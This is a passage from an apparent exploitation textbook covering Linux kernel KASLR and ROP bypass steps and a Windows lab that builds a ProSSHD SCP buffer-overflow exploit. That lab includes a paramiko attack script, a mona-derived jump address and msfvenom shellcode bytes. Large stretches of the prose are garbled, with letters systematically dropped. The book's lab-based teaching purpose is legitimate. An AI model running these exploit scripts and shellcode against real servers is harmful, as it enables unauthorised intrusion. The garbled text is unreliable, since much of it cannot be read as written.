/po/kasyms and subaing he fifh addess euned by ./eak binay one
PART III
again o ge he disane beween he eak and he kene base:
$ ./run4.sh
~ $ head -n1 /proc/kallsyms
ffffffff81000000 T startup_64
~ $ ./leak
0xffffc900000a7eb0
0xb590a89d9d045f00
0xffff888002196f00
0xffffc900000a7ed0
0xffffffff8114c174
Then exi QEMU and use Pyhon o ge he disane beween he eak and he
kene base:
$ python -c 'print(hex(0xffffffff8114c174-0xffffffff81000000))'
0x14c174L
2. Modify ou expoi4. soue ode o eae a new unsigned ong vaiabe,
kernel_base, whose vaue wi be leak[4] - 0x14c174.
The ode shoud ook ike his:
unsigned long canary = leak[1];
unsigned long kernel_base = leak[4] - 0x14c174;
printf("Kernel Base = 0x%016lx\n", kernel_base);
printf("Canary = 0x%016lx\n", canary);
3. Cauae he disane of eah sai addess wih he ones eaive o he kene base.
Le’s fix he pop rdi; ret; gadge, and you an epea he same poess wih a gadges ae.
Afe opening QEMU wih KASLR disabed (un4.sh) and aahing GDB, suba
he kene base addess (0xffffffff81000000) fom he pop rdi; ret; gadge’s addess
(0xffffffff811ad2e):
gef➤ p 0xffffffff811ad2ec-0xffffffff81000000
$1 = 0x1ad2ec
Make he hange o he expoi ode, whih shoud ook ike his:
payload[4] = kernel_base + 0x1ad2ec; // pop rdi; ret;
248
One you’e done geing he eaive addesses, you expoi soue shoud ook ike
he one in ~/GHHv6/h12/shaed/expoi5/expoi..
Le’s ompie and exeue ou new expoi:
$ ./run5.sh
Kernel Base = 0xffffffff97e00000
Canary = 0x28050c99dcbfdc00
/home/user # id
Summary
In his hape, we used a vuneabe kene modue and diffeen kene onfiguaions
o wak hough muipe expoi miigaions and some ways o bypass hem. A simpe
e2us expoi was un agains an unpoeed kene o undesand he basis of kene
expoiaion. Then, we saed adding he Sak Canaies, SMEP, KPTI, SMAP, and
KASLR expoi miigaion feaues and waked hough some ehniques o bypass hem.
These kene expoiaion ehniques povide a usefu knowedge base o sa spoing
kene aak veos, unoveing seuiy bugs, and making sense of possibe expoiaion
hains o ahieve fu ono ove a vuneabe sysem. Poeion ehniques hange and
he saegies o defea hem evove, so o bee undesand hese ehniques, you an
eview he “Fo Fuhe Reading” seion.
For Further Reading

A collection of links related to Linux kernel security and exploitation gihub.om/
xaiy/inux-kene-expoiaion
Linux Kernel Programming: A comprehensive guide to kernel internals, writing kernel
modules, and kernel synchronization, by Kaiwan N Biimoia (Pak Pubishing, 2021)
A Guide to Kernel Exploitation: Attacking the Core, by Enio Pea and Massimiiano
Odani (Esevie, 2011)
References
1. hps://gihub.om/ovads/inux/bob/mase/sips/exa-vminux
2. hps://eixi.booin.om/inux/v5.14.17/soue/kene/ed.#L447
3. hps://wn.ne/Aies/517251
4. hps://wn.ne/Aies/804849/
5. hps://wn.ne/Aies/569635/
Basic Windows
Exploitation
CHAPTER
13
• Compiling and debugging Windows programs
• Writing Windows exploits
• Understanding Structured Exception Handling (SEH)
• Understanding and bypassing basic exploit mitigations such as SafeSEH
• Return-oriented programming (ROP)
Moo Wdow  by   mo ommoy ud op ym, o bo po-
o d po u,  ow  Fu 13-1. T p ow   u
 o; owv,  povd  ood  o  ov OS mk . A  m
o  w, Wdow 10  dom  67 p o  mk, w Wdow 7
owy d, y  mo 0 p o  mk. I m o  xpoo
d u o 0-dy xpo,  oud b vy   o w Wdow op-
 ym  poy uv . Wdow 7 o mk o   
 ompo o Wdow 10 bu  uy u d xpo mo
Linux Other
Figure 13-1 Windows 8.1
2% 6%
Overall OS 2%
market share1 macOS 10.15
4%
Windows 7
19%
Windows 10
67%
249
250
 uvb o Wdow 7, u  Coo Fow Gud (CFG). Exmp o ob
u d mo  v    p d  Cp 14. I  o  
vuby dovd o o Wdow OS vo  mup o vo, od
d w. Wdow 11 w ky   b upk  mk  ov  om y.
Compiling and Debugging Windows Programs

Dvopm oo  o udd w Wdow, bu ouy Vu Sudo
Commuy Edo ow you o omp pom o pupo u  duo.
(I you v  d opy dy, —  o u  o  p.) You 
dowod o   m omp  Moo bud w Vu Sudo 01
Commuy Edo. I  o, w ow you ow o  up  b Wdow
xpo woko. Vu Sudo 0 my o b ud.
Lab 13-1: Compiling on Windows
T Moo C/C++ Opmz Comp d Lk  vb o  om p://
vuudo.moo.om/v/ommuy/. W  u Wdow 10 vo 0H o
 b. Dowod d u   om  pvou k. W pompd, om
 Wokod oy,   Dkop Dvopm w C++ opo d d
 o opo xp o  oow:
• MSVC v14 – VS 01 C++ x64/x6 bud oo

• Wdow 10 SDK (10.0.1041.0)
You my o p   opo du; owv, kp  md   o
k up ddo p o you d dv. T p SDK bud umb my vy
dpd o w you pom  dowod. A  dowod d  -
owd o, you oud v  S mu k o  Vu Sudo 01
Commuy vo. Ck  Wdow S buo d yp prompt. T w b
up  wdow ow vou ommd pomp ou. Doub-k  o d
Dvop Commd Pomp o VS 01. T   p ommd pomp w 
vom  up o omp you od. I you  ub o o  v  S
mu, y  o “Dvop Commd Pomp” om  oo o  C: dv.
I  o od  C:\PomD\Moo\Wdow\S Mu\Pom\Vu
Sudo 01\Vu Sudo Too. W  Dvop Commd Pomp up, v
o you C:\y od. To  ou  ommd pomp, ’  w  hello.c
d meet.c pom. U  x do u  Nopd.x, yp   oow
mp od d v  o   d hello.c od  you C:\y od:
C:\grayhat>type hello.c
//hello.c
#include <stdio.h>
main ( ) {
printf("Hello haxor");
}
Chapter 13: Basic Windows Exploitation
251
T Wdow omp  .x. P  m o  ou  o  omp
 o.x,  ow :
c:\grayhat>cl.exe hello.c
Microsoft (R) C/C++ Optimizing Compiler Version 19.28.29915 for x86
Copyright (C) Microsoft Corporation. All rights reserved.
hello.c
Microsoft (R) Incremental Linker Version 14.28.29915.0
/out:hello.exe
hello.obj
c:\grayhat>hello.exe
Hello haxor
PART III
L’ mov o o bud  x pom, m.x. C  m. ou od
 w  oow od d omp  o you Wdow ym u .x:
C:\grayhat>type meet.c
//meet.c
#include <stdio.h>
greeting(char *temp1, char *temp2) {
char name[400];
strcpy(name, temp2);
printf("Hello %s %s\n", temp1, name);
}
main(int argc, char *argv[]){
greeting(argv[1], argv[2]);
printf("Bye %s %s\n", argv[1], argv[2]);
}
c:\grayhat>cl.exe meet.c
meet.c
/out:meet.exe
meet.obj
c:\grayhat>meet.exe Dr. Haxor

Hello Dr. Haxor
Bye Dr. Haxor
Windows Compiler Options

I you yp cl.exe /?, you’   u  o omp opo. Howv, mo  o
 o u   po. Tb 13-1  d db   you’ b u 
 p.
Bu w’ o o b u  dbu x, ’ bud m.x w u dbu-
 omo d db  k y uoy.
252
Option Description
/Zi Produces extra debugging information, which is useful when you’re using the
Windows debugger (demonstrated later in the chapter).
/Fe Similar to the –o option for gcc. The Windows compiler, by default, names the
executable the same as the source, but with “.exe” appended. If you want to
name the executable something different, specify this flag followed by the .exe
name you’d like.
/GS[–] The /GS flag is on by default, starting with Microsoft Visual Studio 2005, and
provides stack canary protection. To disable it for testing, use the /GS– flag.
Table 13-1 Visual Studio Compiler Flags
NOTE The /GS switch enables Microsoft’s implementation of stack canary

protection, which is quite effective in stopping buffer overflow attacks.
To learn about existing vulnerabilities in software (before this feature was
available), we will disable it with the /GS– flag.
Perform the following step to compile the version of the meet.c program
you will use in Lab 13-2:
c:\grayhat>cl.exe /Zi /GS- meet.c
meet.c
/out:meet.exe
/debug
meet.obj
c:\grayhat>meet.exe Dr. Haxor

Hello Dr. Haxor
Bye Dr. Haxor
G, ow  you v  xub bu w dbu omo, ’ m o
  dbu d  ow dbu o Wdow omp o  Ux dbu-
 xp.
I  b, you ud Vu Sudo 01 Commuy Edo o omp  o.
d m. pom. W ompd  m. pom w u dbu om-
o, w w p u  ou x b. W o ookd  vou omp   
b ud o pom o, u   db o  /GS xpo mo oo.
Debugging on Windows with Immunity Debugger

A popu u-mod dbu  Immuy Dbu, w you  dowod  p://
www.mmuy.om/podu/dbu/. A  m o  w, vo 1.5  
b vo d   o ud   p. T Immuy Dbu m 
 p o v o. T “Cod” o “Dmb” o (op )  ud o vw
 dmbd modu. T “R” o (op )  ud o moo  u
253
o    m. T “Hx Dump” o “D” o (boom )  ud o vw
 w x o  by. T “Sk” o (boom )  ud o vw  k 
 m. You    o   upom m. T “Iomo” o
(mdd )  ud o dpy omo bou  uo d   Cod
o. E o   ox-v mu vb by -k   -
o. Immuy Dbu o   Pyo-bd     boom o 
dbu wdow o ow o  uomo o vou k,  w   xuo o
p o p w xpo dvopm. Ev ou   o vy md
dbu vb,  u ommuy  d u- xo u  Mo
.py om Co0d3. Bo ou, dowod d  Immuy Dbu om
 omod k.
You   dbu  pom w Immuy Dbu  v wy:
• Op Immuy Dbu d oo F | Op.
PART III
• Op Immuy Dbu d oo F | A.
• Ivok Immuy Dbu om  ommd —o xmp, om 
Wdow IDLE Pyo pomp,  oow:
>>> import subprocess
>>> p = subprocess.Popen(["Path to Immunity Debugger", "Program to Debug",
"Arguments"],stdout=subprocess.PIPE)
Fo xmp, o dbu ou vo m.x pom d d  40 A’, mpy yp
 oow:
>>> p = subprocess.Popen(["C:\Program Files (x86)\Immunity Inc\Immunity
Debugger\ImmunityDebugger.exe", "c:\grayhat\meet.exe", "Dr",
"A"*408],stdout=subprocess.PIPE)
T pd ommd  w u m.x d o Immuy Dbu, 
ow :
254
Shortcut Purpose
f2 Set breakpoint (bp).
f7 Step into a function.
f8 Step over a function.
f9 Continue to next breakpoint or exception, or exit.
ctrl-k Show call tree of functions.
shift-f9 Pass exception to program to handle.
Click in the code section and press alt-e. Produce a list of linked executable modules.
Right-click a register value and select Look at the stack or memory location that
Follow in Stack or Follow in Dump. corresponds to the register value.
ctrl-f2 Restart debugger.
Table 13-2 Immunity Debugger Hotkeys
T dbu my   xpo, d  o, you mu p  xpo by p
shift-f  od o  o  du bkpo o  pom y po.
W  Immuy Dbu, you w w o kow  ommo ommd
d  Tb 13- ( you  u  mOS o o p  ommd o  Wdow
vu m, you my d o mp  ky bd).
Nx, o b o w  xmp   book, dju  oo m by
-k  y wdow d  App | Coo (A) d  oo
om  . Sm 4  ud o  xmp   o (w bkoud). Ao,
 No H opo  b d. Immuy Dbu omm do o
uppo p o  ukow o, o you my d o mk  pp
 mo  o.
W you u  pom  Immuy Dbu,  dbu uomy
pu. T ow you o  bkpo d xm   o  dbu
o bo ou. I  wy  ood d o  o by k  dym
dpd o you pom (alt-e),  ow :
I  , w    m xub modu o m.x d , oowd
by vou DLL. T omo  uu bu,  you w  ,  mod-
u o opod   vb o you w xpo. No  dd
w b d o  ym du o dd p you domzo (ASLR)
d o o.
255
Lab 13-2: Crashing the Program
Fo  b, you d o dowod d  Immuy Dbu oo you Wdow
ym om  omod k. Immuy Dbu    dpdy o
Pyo .7, w w b d uomy  ’ o dy o you ym. You
w b dbu  m.x pom you pvouy ompd. U Pyo IDLE
o you Wdow ym, yp   oow:
>>> p = subprocess.Popen(["C:\Program Files (x86)\Immunity Inc\Immunity
Debugger\ImmunityDebugger.exe", "c:\grayhat\meet.exe", "Dr",
"A"*408],stdout=subprocess.PIPE)
# If on a 32-bit Windows OS you will need to remove the (x86) from the path.
PART III
W  pd od, w v pd   od um o 40 A’. T po-
m oud uomy  up ud  oo o  dbu. You my v o
p y um xpo by p shift-f. T 40 A’ w ovu  bu.
W  ow dy o b  y o  pom. W  d   strcpy()
 om d  greeting() uo bu   kow o b vub du o  k
o boud k. L’ d  by  w  Exub Modu wdow, w
 b opd w alt-e. Doub-k  “m” modu, d you w b k o 
uo po o  m.x pom. You w    uo o  pom
(  , greeting d main). Aow dow o  JMP meet.greeting  (you my
v o d o ) d  p enter o oow  JMP m o  greeting
uo,  ow :
NOTE If you do not see the symbol names, such as greeting, strcpy,
and printf, then you may not have compiled the binary with debugging
symbols. You might also see a smaller or larger jump table, depending on
the version of Windows you are using. Even compiling on different version
of Windows can produce different results. If you still do not see the symbols
to the right when looking at the screen, simply follow the instructions in the
next paragraph to look for the string ASCII "Hello %s %s" and break on the
CALL instruction a few lines above it. This is the call to strcpy, which can
be verified by clicking it and pressing enter.
256
Now  w  ook   greeting() uo   Dmb wdow, ’
  bkpo   vub uo  (strcpy). Aow dow u you  o 
 0x011C6EF4. A,  dd d ymbo o you vo o Wdow my
b d. I o, mpy ook o   uo  w  bov  dmby
ow ASCII "Hello %s %" o   o  w o   bkpo. You
 vy     o  by k  uo d p enter. T
oud ow you     b md o  strcpy() uo. A  , p f2
o   bkpo;  dd oud u d. T bkpo ow you o u o
 po quky. Fo xmp,   po,   pom w ctrl-f2 d 
p f o ou o  bkpo. You oud ow   Immuy Dbu 
d o  uo  w  d  (strcpy).
NOTE The addresses presented in this chapter will likely vary on your system
due to rebasing and ASLR. Therefore, you should follow the techniques, not
the particular addresses. Also, depending on your OS version, you may need
to manually set the breakpoint each time you start the program because
Immunity Debugger seems to have issues with breakpoint persistence
on some versions of Windows. WinDbg is a great alternative, but it’s not
as intuitive.
Now  w v  bkpo  o  vub uo  (strcpy), w 
ou by pp ov  strcpy uo (p f). A   , you
w  m u d. Bu w ju xud  strcpy uo , you oud
 my o   u d. Cou pp ou  pom u you
 o  RETN uo, w     o od   greeting uo. Fo
xmp, bu  “u po”  b ovw w ou A’,  dbu-
 d   uo  bou o u o 0x41414141. Ao o ow
 uo po  opd  dd o EBP (Exdd B Po) o ESP
(Exdd Sk Po) d  poppd  vu o  k (0x41414141) o
EBP,  ow x.
257
A xpd, w you p f8 o mo m,  pom w   xpo,
o mpy  w 0x41414141 ow   EIP (Exdd Iuo Po)
. T  d  first chance exception bu  dbu d pom  v
  o d  xpo bo  pom . You my p  xp-
o o  pom by p shift-f. I  , bu o xpo d 
povdd w  ppo ,  OS xpo d   xpo
d m  pom. You my d o p shift-f mup m o  
pom m.
A  pom , you my ou o p mmoy oo. Fo
xmp, you my k   k wdow d o up o   pvou k m
(w w ju ud om, d  ow yd ou). A ow x, you   
b o  bu o ou ym.
PART III
To ou p   o  d m, w  k wdow,
o bk dow o  u k m ( u k m w b d).
You my o u o  u k m by   ESP  vu d
 -k  d vu d oo Foow  Sk. You w o 
 opy o  bu  o b oud   oo ESP+4,  ow x. Iomo
k  bom vub   w oo  k vo.
A you  , Immuy Dbu  y o u.

258
NOTE Immunity Debugger only works in user space and only for 32-bit
applications at the time of this writing. If you need to dive into kernel space,
you will have to use a Ring0 debugger such as WinDbg from Microsoft.
I  b, w wokd w Immuy Dbu o   xuo ow w ou
mou d  pu. W dd  vub  o strcpy() d   ow
bkpo o p ou  uo. W  owd xuo o ou d
omd  w   oo o  uo po. T w du o  
  strcpy() uo ow u o ovw  u po ud by  greeting()
uo o u oo bk o main().
Writing Windows Exploits

Nx, you w u  du Pyo o o K Lux. I  pmko d
p b  o dy d, you w d o  m u pip. T
 OS u  vub ppo ud   xmp  Wdow 10 x64
0H Ep.
I  o, w ou u Immuy Dbu d o u  Mo pu-
om P V Ekou d  Co Tm (p://www.o.b). T o 
o ou bud o  xpo dvopm po ovd o . T, you 
ow o o om  vuby dvoy o  b poo-o-op xpo.
Exploit Development Process Review

T xpo o po o o o  oow p:
1. Coo  uo po.
2. Dm  o().
3. Dm  k vo.
4. Bud  xpo.
5. T  xpo.
6. Dbu  xpo  dd.
Lab 13-3: Exploiting ProSSHD Server
T PoSSHD v   wok SSH v  ow u o o “uy” d
povd   ov  ypd . T v u o po . A umb
o y bk,  dvoy w d  wd o  bu ovow o  po-
uo o. T m  u mu dy v  ou o  v
259
o xpo  vuby. T vuby my b xpod by d mo 
500 by o  p  o  SCP (Su Copy Pooo) GET ommd.
PART III
A  po, w w  up  vub PoSSHD v1. v o  VMw u
vu m (VM) u Wdow 10 x64 0H Ep. You my oo o
u  d vo o Wdow  w. E vo o Wdow u Immu-
y Dbu my podu y d u; owv,   xpo ud 
 p  b d o mup vo o Wdow. W w u VMw
bu  ow u o , op, d  ou vu m mu quk 
boo.
CAUTION Because we are running a vulnerable program, the safest way

to conduct testing is to place the virtual network interface card (VNIC) of
VMware in host-only networking mode. This will ensure that no outside
machines can connect to our vulnerable virtual machine. See the VMware
documentation (www.vmware.com) for more information.
Id  vu m, dowod d   PoSSHD ppo u 
dowod opo   oow k: p://www.xpo-db.om/xpo/1161.
A uu o u  “yp”  opo,  up  xwp.x
pom om  o doy (o xmp,  o oud b  C:\
U\Pub\Pom F (x6)\Lb-NC\PoSSHD\xwp.x). O  pom
 d, k Ru d  Ru  x ( ow x). You o my d o k
Aow Coo  you w pop up. I   ow  xpd, you my d o
boo you vu m o u o  opo o   m uomy bu
260
 vo o PoSSHD  o o uppod,     w my pom o-
 vub.
NOTE If Data Execution Prevention (DEP) is running for all programs and
services on your target virtual machine, you will need to set up an exception
for ProSSHD for the time being. The fastest way to check is by holding
the Windows key and pressing break from your keyboard to bring up the
System Control Panel. On the left side of the control panel, click Advanced
System Settings. In the pop-up menu, click Settings in the Performance
area. Click the right pane titled Data Execution Prevention. If the option
“Turn on DEP for all programs and services except those I select” is the one
already selected, you will need to put in an exception for the wsshd.exe and
xwpsshd.exe programs. Simply click Add, select those two EXEs from the
ProSSHD folder, and you’re done!
Now   SSH v  u, you d o dm  ym’ IP dd
d u  SSH  o o o  om you K Lux m. I ou ,
 vu m u PoSSHD  od  1.16.0.1. You w d o
 u o  Wdow w om  Admv ommd  w 
ommd NetSh Advfirewall set allprofiles state off o mpy dd  u o ow TCP
po  boud o SSH.
A  po,  vub ppo d  dbu  u o  vu-
b v, bu y  o d y, o   ud  you v   o 
VMw vu m by   po. A  po  omp, you my
u o  po by mpy v o  po. T k w v you vub
 m bu you  kp   pvou up d boo o ubqu -
o o .
Controlling the Instruction Pointer

Op up you vo do  you K Lux vu m d   oow
p, v   pod1.py, o vy  vuby o  v:
261
NOTE The paramiko and scp modules are required for this script. The
paramiko module should already be installed, but you will need to verify
that your version of Kali includes scp. If you attempt to run the following
script and get an error about scp, you will need to download and install the
scp module by running pip3 install scp. You will also need to connect once
with the default SSH client from a command shell on Kali Linux so that the
vulnerable target server is in the known SSH hosts list. You need to create
a user account on the target Windows virtual machine running ProSSHD
that you will use in your exploit. We are using the username test1 with a
password of asdf. Create that account or a similar one and use it for this lab.
#prosshd1.py
# Based on original Exploit by S2 Crew [Hungary]
import paramiko
from scp import *
PART III
from contextlib import closing
from time import sleep
import struct
hostname = "192.168.209.198"
username = "test1"
password = "asdf"
req = "A" * 500
ssh_client = paramiko.SSHClient()
ssh_client.load_system_host_keys()
ssh_client.connect(hostname, username=username, key_filename=None,
password=password)
sleep(15)
with SCPClient(ssh_client.get_transport()) as scp:

scp.put(scp, req)
T p w b u om you k o, pod    (u 
VMw).
NOTE Remember to change the IP address to match your vulnerable server

and verify that you have created the test1 user account on your Windows VM.
I u ou      vuby x   d po, wd.x, 
oy x w    v oo o  v. To, w w d o
u  xpo d  quky   dbu o ou ou y. T 
wy  sleep() uo  b ud w  um o 15 od, v u m
o . Id  VMw m, you my   dbu o  vub
pom by oo F | A. S  wd.x po d  k  A
buo o   dbu.
262
NOTE It may be helpful to sort the Attach screen by the Name column to
quickly find the process. If you need more time to attach, you may increase
the number of seconds passed as an argument to the sleep() function.
H o! Lu  k p om K w  oow ommd d 
quky w o  VMw  d  Immuy Dbu o wd.x:
#python3 prosshd1.py
O  dbu  d od  po, p f o “ou”  pom.
A  po,  xpo oud b dvd d  ow- o o 
dbu oud u yow d y “Pud.” Dpd o  Wdow vo you
 u   ,  dbu my qu you o p f     pu.
To,  you do o  0x41414141   EIP ,  ow x, p f o
mo. I  o uu o p you k wdow   poo  b you o vw
 ow- o o  dbu o  w  dbu pu.
A you  , w v oo o EIP, w ow od 0x41414141.
Determining the Offset(s)

You w x d o u  mo.py PyCommd pu- om  Co Tm o -
  p o dm  umb o by w w  oo. To  mo.py, o
o p://ub.om/o/mo d dowod   opy o  oo. Sv  o 
PyCommd od ud you Immuy Dbu od. W w b u  p
p pod ov om Mpo. W  w o  up ou wok doy w
oupu d by Mo w b w. To,  up   o Immuy
Dbu. Do o woy bou od  pom   po. Ck   Pyo om-
md    boom o  dbu wdow d    ommd ow :
!mona config -set workingfolder c:\grayhat\mona_logs\%p
263
I Immuy Dbu jump o  o wdow, you  mpy k  “” buo
o  bbo b o jump bk o  m CPU wdow. W mu ow  
500-by p o u  ou p. Fom  Immuy Dbu Pyo ommd
, yp 
!mona pc 500
w w   500-by p, o    w od d  w you od
Mo o w  oupu. Ck you C:\y\mo_o\ doy o  w od,
ky d wsshd. I  doy oud b  w  d p.x. T   
om w you w o opy  d p. A Mo  you, do o opy 
p om Immuy Dbu’ o wdow bu  my b ud.
Sv  w opy o  pod1.py k p o you K Lux vu m
( xmp u  m pod.py). Copy  ASCII p om  p.x
PART III
 d   req  o ud ,  oow:
# prosshd2.py
…truncated…
req =
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6
Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3A
f4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai
1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8
Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5A
n6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2A
q3Aq4Aq5Aq"
…truncated…
NOTE The pattern, when copied, will be a very long line. We have formatted
the line shown here so that it will fit on the printed page.
Ru  w p om you K Lux m wdow w python3 prosshd2.py.
T u  ow x.
264
T m,  xpd,  dbu   xpo d EIP o  vu
o  poo o  p (41347141). Ao, o   Exdd Sk Po
(ESP) po o  poo o  p.
U  p o ommd  Mo o dm  o o EIP,  ow :
You     4 by o  bu, w ovw  u po om
by 43 o 46 w 41347141. T  vb w ook   Sk o o
Immuy Dbu. T, 4 by ,  by 46,   o  bu  b
oud   op o  k   pom . T Mpo p o oo
w ju ud w Mo ow  o before  p .
Determining the Attack Vector

O Wdow ym,  k d   ow mmoy dd . T p
 pobm w  Ap 1 k qu w ud  Lux xpo. Uk  d
o o  m.x pom, o -wod xpo, w o mpy oo EIP
w  u dd o  k. T dd w ky o 0x00   b
d u u pobm  w p  NULL by o  vub pom.
O Wdow ym, you w v o d o k vo. You w o d
 poo ( o ) o you bu  o o   w  Wdow pom
. A dmod   pd o, w oo   o  k w
 pom . A w d o do  p ou od b  by 46 d
ovw  u po w  dd o  opod o jmp o call esp. W o
 k vo bu  o o opod w p  vu o ESP o EIP d
xu  od   dd. Ao opo  o d  qu o uo 
xu push esp oowd by  ret.
To d  dd o  dd opod, w d o  ou  odd modu
(DLL)   dymy kd o  PoSSHD pom. Rmmb, w Immu-
y Dbu, you    kd modu by p alt-e. W w u  Mo oo
o  ou  odd modu. F, w w u Mo o dm w mod-
u do o pp  xpo-mo oo u  /REBASE d dd p
you domzo (ASLR). I  qu ommo o modu budd w  d-py
ppo o o pp  om o  o  oo. To d ou w modu w
w o u  p o ou xpo, w w u  !mona modules ommd om d
o Immuy Dbu. You my o u !mona modules -o o xud OS modu. T
 o wd.x  w d o pvouy w Immuy Dbu oud 
b up, ow  pvou p  EIP. I   o  up, o d d u  pvou
265
p ,  o  wd.x po. W  dbu d o  po,
u  oow ommd o   m u:
!mona modules
PART III
A you   om  mp o Mo’ oupu,  modu MSVCR71.d  o
pod by  mjoy o  vb xpo-mo oo. Mo mpoy,
  o b bd d  o pp  ASLR. T m   w d ou
dd opod,  dd oud b b  ou xpo, byp ASLR!
W w ow ou o u  Mo pu- om P V Ekou
(k o0d3) d  Co Tm. T m w w u  o d ou dd
opod om MSVCR71.DLL. Ru  oow ommd:
!mona jmp –r esp –m msvcr71.dll
T jmp um  ud o py  yp o uo o w w w o
. T um –r ow u o py o w ’ dd w woud k
o jump d xu od. T –m um  opo d ow u o py o
w modu w woud k o . W  oo MSVCR71.d,  pvouy
ovd. A  ommd  xud,  w od oud b d  C:\y\
mo_o\wd. I  od    d jmp.x. W vw  o, w
  oow:
0x7c345c30 : push esp # ret | asciiprint,ascii {PAGE_EXECUTE_READ} [MSVCR71.dll]
ASLR: False, Rebase: False, SafeSEH: True, OS: False
(C:\Users\Public\Program Files\Lab-NC\ProSSHD\MSVCR71.dll)
T dd 0x734530 ow  uo push esp # ret. T  uy
wo p uo. T push esp uo pu  dd w ESP 
uy po oo  k, d  ret uo u EIP o u o 
dd, xu w    uo. I you  k    wy DEP
w d, you  o.
NOTE This attack vector will not always work for you. You will have to look at
registers and work with what you’ve got. For example, you may have to use
jmp eax or jmp esi.
266
Bo   xpo, you my w o dm  mou o k p
vb  w o p od, py   od you  p o u
 . I o ou p  vb,  v woud b o u mud
od o o p o ddo . O,  quk wy o dm
 mou o vb p  o ow o o A’   pom d muy
p  k   pom . You  dm  vb p by
k   k o o  dbu    d  o dow o
 boom o  k d dm w  A’ d. T, mpy ub 
 po o you A’ om  d po o you A’. T my o b  mo
u d  wy o dm  mou o vb p, bu ’ o
u ou d   o mod.
W  dy o  om od o u w  poo-o-op xpo. U 
Mpo ommd- pyod o o you K Lux vu m:
$ msfvenom -p windows/exec CMD=calc.exe -b “\x00” -f py > sc.txt
Tk  oupu o  pd ommd d dd  o  k p (o 
w w   vb m om buf o sc). W  xud  “\x00” by
bu u by  ypy pobm. T   pm d sanitize d
o  p.py modu. By du,  vu   by   uo d _sh_quote,
w u ou  wppd   quo. T  ky  poo   od
o pv ommd jo vub. You w o   upom od 
w  sanitize o qu  mbd uo  mpy u  m vu.
Building the Exploit

W  y dy o pu  p o d bud  xpo:
#prosshd3.py POC Exploit
import paramiko
from scp import *
import struct
hostname = "192.168.209.198"
username = "test1"
password = "asdf"
jmp = struct.pack(‘<L’, 0x7c345c30) # PUSH ESP # RETN

pad = "\x90" * 12 # compensate for fstenv
sc = b""
sc += b"\xb8\x7f\x28\xcf\xda\xdb\xda\xd9\x74\x24\xf4\x5d\x33"
sc += b"\xc9\xb1\x31\x83\xc5\x04\x31\x45\x0f\x03\x45\x70\xca"
sc += b"\x3a\x26\x66\x88\xc5\xd7\x76\xed\x4c\x32\x47\x2d\x2a"
sc += b"\x36\xf7\x9d\x38\x1a\xfb\x56\x6c\x8f\x88\x1b\xb9\xa0"
sc += b"\x39\x91\x9f\x8f\xba\x8a\xdc\x8e\x38\xd1\x30\x71\x01"
sc += b"\x1a\x45\x70\x46\x47\xa4\x20\x1f\x03\x1b\xd5\x14\x59"
sc += b"\xa0\x5e\x66\x4f\xa0\x83\x3e\x6e\x81\x15\x35\x29\x01"
267
sc += b"\x97\x9a\x41\x08\x8f\xff\x6c\xc2\x24\xcb\x1b\xd5\xec"
sc += b"\x02\xe3\x7a\xd1\xab\x16\x82\x15\x0b\xc9\xf1\x6f\x68"
sc += b"\x74\x02\xb4\x13\xa2\x87\x2f\xb3\x21\x3f\x94\x42\xe5"
sc += b"\xa6\x5f\x48\x42\xac\x38\x4c\x55\x61\x33\x68\xde\x84"
sc += b"\x94\xf9\xa4\xa2\x30\xa2\x7f\xca\x61\x0e\xd1\xf3\x72"
sc += b"\xf1\x8e\x51\xf8\x1f\xda\xeb\xa3\x75\x1d\x79\xde\x3b"
sc += b"\x1d\x81\xe1\x6b\x76\xb0\x6a\xe4\x01\x4d\xb9\x41\xfd"
sc += b"\x07\xe0\xe3\x96\xc1\x70\xb6\xfa\xf1\xae\xf4\x02\x72"
sc += b"\x5b\x84\xf0\x6a\x2e\x81\xbd\x2c\xc2\xfb\xae\xd8\xe4"
sc += b"\xa8\xcf\xc8\x86\x2f\x5c\x90\x66\xca\xe4\x33\x77"
req = "A" * 492 + jmp + pad + sc
ssh_client.connect(hostname, username=username, key_filename=None,
password=password)
PART III
sleep(15) #Sleep 15 seconds to allow time for debugger connect
with SCPClient(ssh_client.get_transport(), sanitize=lambda x:x)) as scp:

scp.put(scp, req)
NOTE Sometimes the use of NOPs or padding before the shellcode is

required. The Metasploit shellcode needs some space on the stack to
decode itself when calling the GETPC routine, as outlined by “sk” in his
Phrack 62 article:2
(FSTENV (28-BYTE) PTR SS:[ESP-C]).
Ao,   dd d  EIP d ESP  oo o o  o (w  vy
ommo   od  o  k),  u NOP   ood wy o pv o-
upo. Bu   ,  mp k dju o pvo uo m do  k 
w. Smpy ppd  od w  opod by (o xmp, add esp,-450).
T Mpo mb my b ud o povd  qud uo  x, 
ow :
└─$ /usr/share/metasploit-framework/tools/exploit/metasm_shell.rb
type "exit" or "quit" to quit
use ";" or "\n" for newline
type "file <file>" to parse a GAS assembler source file
metasm > add esp,-450

"\x81\xc4\x3e\xfe\xff\xff"
metasm >
Debugging the Exploit if Needed

I’ m o   vu ym d u  pd p. Rmmb o 
o wd.x quky d p f o u  pom. L  pom   
xpo. Ck yw   dmby o d p ctrl-g o b up 
268
E Expo o Foow do box. E  dd om Mo  you  u
o jump o ESP,  ow x. Fo  xmp,  w 0x734530 om MSVCR71
.d. P f o   bkpo.
I you pom  d o   bkpo,   you v 
bd   you od o    o  you p. Bd  u
pp om m o m bu  vub pom (o  SCP pom, 
 ) my  o   d u you xpo o bo o b o-
w modd.
To d  bd , you w d o ook   mmoy dump o  dbu
